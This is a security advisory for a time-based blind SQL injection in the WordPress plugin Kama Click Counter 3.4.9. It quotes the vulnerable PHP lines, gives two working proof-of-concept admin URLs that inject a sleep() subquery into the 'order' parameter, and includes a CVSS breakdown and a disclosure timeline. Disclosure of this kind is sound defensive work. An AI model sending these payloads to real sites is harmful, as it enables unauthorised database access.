The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
WordPress Kama Click Counter 3.4.9 SQL Injection=============================================
MGC ALERT 2017-002
- Original release date: February 21, 2017
- Last revised: February 28, 2017
- Discovered by: Manuel GarcAa CA!rdenas
- Severity: 7,1/10 (CVSS Base Score)
=============================================
I. VULNERABILITY
-------------------------
WordPress Plugin Kama Click Counter 3.4.9 - Blind SQL Injection
II. BACKGROUND
-------------------------
Using this plugin you will have statistics on clicks on your files or any
other link (not file).
III. DESCRIPTION
-------------------------
This bug was found using the portal in the
/wp-content/plugins/kama-clic-counter/admin.php file.
In the line 172,173 do not sanitize the input values.
$order_by = ($x= & $_GET['order_by']) ? esc_sql($x) : 'link_date';
$order = ($x= & $_GET['order']) ? esc_sql($x) : 'DESC';
And in the line 182 or 186 the sql sentence is executed:
$sql = "SELECT * FROM $wpdb->kcc_clicks WHERE link_url LIKE '%$s%' OR
link_name LIKE '%$s%' ORDER BY $order_by $order LIMIT $offset, $limit";
$sql = "SELECT * FROM $wpdb->kcc_clicks ORDER BY $order_by $order LIMIT
$offset, $limit";
To exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application.
It is possible to inject SQL code.
IV. PROOF OF CONCEPT
-------------------------
The following URL have been confirmed to all suffer from Time Based SQL
Injection.
Time Based SQL Injection POC:
/wordpress/wp-admin/admin.php?page=kama-clic-counter&order_by=link_name&order=ASC%2c(select*from(select(sleep(2)))a)&paged=1
(2 seconds of response)
/wordpress/wp-admin/admin.php?page=kama-clic-counter&order_by=link_name&order=ASC%2c(select*from(select(sleep(30)))a)&paged=1
(30 seconds of response)
V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.
VI. SYSTEMS AFFECTED
-------------------------
Kama Click Counter <= 3.4.9
VII. SOLUTION
-------------------------
Disable the plugin until a fix is available.
VIII. REFERENCES
-------------------------
https://wordpress.org/plugins-wp/kama-clic-counter/
IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel GarcAa CA!rdenas (advidsec (at) gmail (dot) com).
X. REVISION HISTORY
-------------------------
February 21, 2017 1: Initial release
February 28, 2017 2: Revision to send to lists
XI. DISCLOSURE TIMELINE
-------------------------
February 21, 2017 1: Vulnerability acquired by Manuel Garcia Cardenas
February 21, 2017 2: Send to vendor
February 24, 2017 3: New contact with vendor without response
February 28, 2017 4: Send to the Full-Disclosure lists
XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum